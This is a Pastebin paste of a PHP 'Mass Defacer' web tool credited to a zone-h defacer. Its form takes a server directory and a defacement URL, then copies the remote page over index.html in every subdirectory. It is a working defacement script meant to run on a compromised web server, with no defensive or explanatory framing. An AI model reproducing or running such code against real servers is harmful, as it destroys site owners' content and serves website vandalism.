Advertisement
0xspade

Mass Deface PHP Script

Aug 26th, 2016
2,448
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.32 KB | None | 0 0
  1. <html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
  2.  
  3. <head>
  4. <style type="text/css">
  5.  
  6. div.end
  7. {
  8.     width:100%;
  9.     background:#222;
  10. }
  11.  
  12. * {
  13.     padding:0;
  14.     margin:0;
  15. }
  16.  
  17. div.end *
  18. {
  19.     font-size:small;
  20. }
  21.  
  22. </style>
  23. <title>Mass Defacer Server Folder</title>
  24. </head>
  25.  
  26. <body style="background-color: #1F1F1F">
  27.  
  28. <body style="background-color: #1F1F1F">
  29.  
  30. <center>
  31. <style>
  32. body { color: #FFCC00;
  33. }
  34. .style3 {
  35.     font-size: 40pt;
  36. }
  37. .style31 {
  38.     text-align: center;
  39. }
  40. .style32 {
  41.     font-family: "Bell MT";
  42. }
  43. .style33 {
  44.     color: #FF6000;
  45. }
  46. .style39 {
  47.     font-size: 60pt;
  48. }
  49. .style41 {
  50.     font-size: xx-large;
  51. }
  52. .style42 {
  53.     font-weight: bold;
  54.     font-size: x-large;
  55. }
  56. </style>
  57. </head>
  58. <p class="style3">
  59.  
  60. <span <ul>
  61.  
  62.     <span class="style32">
  63.     <span class="style39">
  64. <span style="font-weight: 700;" class="style33">
  65.     <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);">Mass Defacer
  66. Server</font></span></span></span>
  67.     </span></p><br>
  68. <span style="font-weight: 700;" class="style33">
  69.     <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"><br>
  70. <br>
  71. </center>
  72. <div class="style31">
  73. <html>
  74. <style>
  75. body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
  76. input,
  77. .kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
  78. button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  79. body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}  
  80. .style45 {
  81.     background-color: #000000;
  82. }
  83. </style>
  84. <?php
  85. /*
  86. Script: Mass Deface Script
  87. */
  88. echo "<center><textarea rows='10' cols='100'>";
  89. $defaceurl = $_POST['massdefaceurl'];
  90. $dir = $_POST['massdefacedir'];
  91. echo $dir."\n";
  92.  
  93. if (is_dir($dir)) {
  94.     if ($dh = opendir($dir)) {
  95.         while (($file = readdir($dh)) !== false) {
  96.                         if(filetype($dir.$file)=="dir"){
  97.                                 $newfile=$dir.$file."/index.html";
  98.                                 echo $newfile."\n";
  99.                                 if (!copy($defaceurl, $newfile)) {
  100.                                         echo "failed to copy $file...\n";
  101.                                 }
  102.                         }
  103.         }
  104.         closedir($dh);
  105.     }
  106. }
  107. echo "</textarea></center>";
  108. ?>
  109.  
  110.  
  111. <td align=right>Mass Defacement:</td><br>
  112.     </div>
  113. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  114. <div class="style31">
  115. [+] Main Directory: <input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'>
  116. [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
  117. <input type='submit' name='execmassdeface' value='Execute'></div>
  118.     </form></td>
  119.  
  120.  
  121.  
  122. <br><br><br>
  123.  
  124.  
  125.  
  126. <br>
  127.     <br>
  128.     <br>
  129.     <br>
  130.     <br>
  131.     <br>
  132.  
  133. <div class="end">
  134. <p align="center" class="style45"><b>&nbsp;</b><br />
  135. </p>
  136. <table style="border: 2px solid rgb(218, 218, 218);" width="100%" bgcolor="#000000" height="%">
  137.     <tr>
  138.         <td><center class="style31"><font size="4" color="white" face="tahoma">
  139.         <b>[ <span class="style27">&nbsp;<font size="5" color="red"><span style="font-weight: 700; filter: blur(add=1, direction=270, strength=30)"><font class="whiteglow" face="tahoma"><span <ul=""><font color="#808080" face="Tahoma"><span <ul="" lang="en-us"><font size="4" color="white" face="tahoma"><span class="style41">Tools</span><span class="style25"><font color="Green"><font class="style26" size="-2" color="gray"><span class="style21"><strong>
  140.         <font size="4" color="white" face="tahoma">Mass Deface |</font></strong></span></font></font></span></font>
  141.         Copyright / <font color="#FFFFFF" face="Tahoma">2013
  142.         <a style="text-decoration: none; " href="http://www.zone-h.com/archive/notifier=AL.MaX%20HaCkEr">
  143.         <font color="#FFFFFF">AL.MaX HaCkEr </font></a></font></span>
  144.         <font color="#000000">&nbsp;</font></font></span></font></span></font></span>&nbsp;]<span class="style27">
  145.         </span><br>
  146.         <span class="style27"><font size="5" color="red">
  147.         <span style="font-weight: 700; filter: blur(add=1, direction=270, strength=30)">
  148.         <font class="whiteglow" face="tahoma"><span <ul="">
  149.         <font color="#808080" face="Tahoma">&nbsp; <font color="#000000">
  150.         <a style="text-decoration: none" href="http://www.zone-h.com/archive/notifier=AL.MaX%20HaCkEr">
  151.         <font color="#808080" face="Tahoma">Zone-h</font></a><font size="5" color="red" face="tahoma"><font class="whiteglow" face="tahoma"><font color="#808080" face="Tahoma">
  152.         <img alt="" src="http://www.senojflags.com/images/national-flag-icons/Sudan-Flag.png" height="16" width="16"></font></font></font>
  153.         </font></font></span></font></span></font></span></b>
  154.         <strong class="style42">Gun@Linuxmail.Org</strong></font></center></td>
  155.     </tr>
  156. </table>
  157. <p align="center" class="style45">&nbsp;</p>
  158. <p align="center"></p>
  159. </div>
  160.  
  161. <p class="style31">&nbsp;</p>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement